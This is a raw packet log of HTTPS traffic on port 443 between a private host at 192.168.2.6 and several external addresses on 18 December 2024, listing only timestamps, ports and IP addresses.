Dec 18, 2024 21:11:09.825246096 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.825270891 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.825309992 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.825331926 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.825365067 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.825386047 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.831002951 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.831029892 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.831099033 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.831106901 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.831152916 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.832437038 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.832463026 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.832524061 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.832552910 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.832652092 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.837806940 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.837831974 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.837896109 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.837920904 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.838083029 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.839210987 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.839231968 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.839366913 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.839380980 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.839633942 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.843350887 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:09.845782042 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.845808983 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.845885038 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.845890999 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.845906973 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.845930099 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.845949888 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.845966101 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.845983028 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.845993996 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.846016884 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.852823019 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.852853060 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.852902889 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.852921963 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.852950096 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.852973938 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.853462934 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.853493929 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.853530884 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.853538990 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.853579044 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.853600979 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.855416059 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.855432034 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.855469942 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.855484962 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.855500937 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.855637074 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:09.855637074 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:09.855637074 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:09.855662107 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.855710983 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:09.859090090 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.859117031 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.859153986 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.859172106 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.859191895 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.859232903 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.860738993 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.860758066 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.860820055 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.860829115 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.860865116 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.860882998 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.874599934 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.874629021 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.874675035 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.874691010 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.874736071 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.874758005 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.875260115 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.875283003 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.875324965 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.875334978 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.875368118 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.875390053 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.973891973 CET	443	49755	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:09.974051952 CET	443	49755	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:09.974108934 CET	49755	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:09.974123955 CET	443	49755	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:09.974169970 CET	49755	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:09.986362934 CET	49755	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:09.986391068 CET	443	49755	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:10.005469084 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.005501032 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.005585909 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.005610943 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.005667925 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.012156963 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:10.012269020 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:10.012294054 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:10.012375116 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:10.012388945 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:10.012424946 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:10.012433052 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.012459993 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.012495995 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.012504101 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.012532949 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.012554884 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.013495922 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:10.013516903 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:10.015234947 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.015259981 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.015356064 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.015394926 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.015497923 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.018516064 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.018539906 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.018579960 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.018588066 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.018632889 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.022881985 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.022906065 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.022949934 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.022969007 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.023021936 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.023041964 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.026149988 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.026175022 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.026259899 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.026285887 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.026386976 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.029781103 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.029805899 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.029866934 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.029882908 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.029931068 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.029931068 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.032196999 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.032218933 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.032270908 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.032295942 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.032322884 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.032340050 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.037583113 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.037626028 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.037650108 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.037667036 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.037710905 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.037731886 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.039036989 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.039067030 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.039103031 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.039125919 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.039151907 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.039169073 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.045456886 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.045480967 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.045581102 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.045597076 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.045681000 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.046262026 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.046287060 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.046330929 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.046355009 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.046370983 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.046395063 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.049231052 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.049314022 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.049331903 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.049345970 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.049382925 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.053347111 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.053369045 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.053447008 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.053457022 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.053503990 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.053530931 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.060327053 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.060344934 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.060410976 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.060421944 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.060480118 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.067104101 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.067121983 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.067229033 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.067251921 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.067297935 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.135097027 CET	49765	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:10.135124922 CET	443	49765	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:10.135205984 CET	49765	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:10.135516882 CET	49765	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:10.135535955 CET	443	49765	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:10.140827894 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.140846968 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.160650969 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.160721064 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.160811901 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.161185980 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.161202908 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.207102060 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.207128048 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.207228899 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.207252026 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.207298994 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.210500002 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.210570097 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.210592985 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.210613012 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.210644960 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.210678101 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.322535038 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.322577953 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.855854034 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.855962992 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.860889912 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.860917091 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:10.862987041 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:10.863004923 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.343054056 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.343090057 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.343103886 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.343209028 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.343209028 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.343250036 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.343300104 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.530010939 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.530040979 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.530136108 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.530162096 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.530314922 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.611978054 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.612001896 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.612068892 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.612087965 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.612123013 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.612144947 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.689656973 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.689739943 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.690495014 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.690516949 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.692470074 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.692490101 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.699974060 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.700007915 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.700074911 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.700088024 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.700196981 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.725613117 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.725655079 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.725708961 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.725725889 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.725799084 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.751396894 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.751425982 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.751477957 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.751487017 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.751558065 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.773124933 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.773158073 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.773207903 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.773216009 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.773268938 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.881906033 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.881951094 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.881989956 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.881999969 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.882066965 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.896245956 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.896279097 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.896321058 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.896327972 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.896389008 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.911073923 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.911103010 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.911170006 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.911181927 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.911242008 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.919121981 CET	443	49765	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:11.919460058 CET	49765	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:11.919472933 CET	443	49765	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:11.920573950 CET	443	49765	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:11.920646906 CET	49765	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:11.921109915 CET	49765	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:11.921180010 CET	443	49765	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:11.921401024 CET	49765	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:11.921407938 CET	443	49765	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:11.924315929 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.924340010 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.924411058 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.924426079 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.924463987 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.936691999 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.936719894 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.936764002 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.936780930 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.936809063 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.936834097 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.951765060 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.951792002 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.951854944 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.951875925 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.951896906 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.951915979 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.964137077 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.964163065 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.964281082 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.964291096 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:11.964337111 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:11.971859932 CET	49765	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:12.066636086 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.066657066 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.066720009 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.066762924 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.066811085 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.066811085 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.077025890 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.077048063 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.077106953 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.077126026 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.077153921 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.077173948 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.086196899 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.086216927 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.086293936 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.086313963 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.086409092 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.096107960 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.096127033 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.096210957 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.096240044 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.096297026 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.105688095 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.105712891 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.105766058 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.105803013 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.105823040 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.105856895 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.114612103 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.114631891 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.114712954 CET	49763	443	192.168.2.6	150.171.27.10
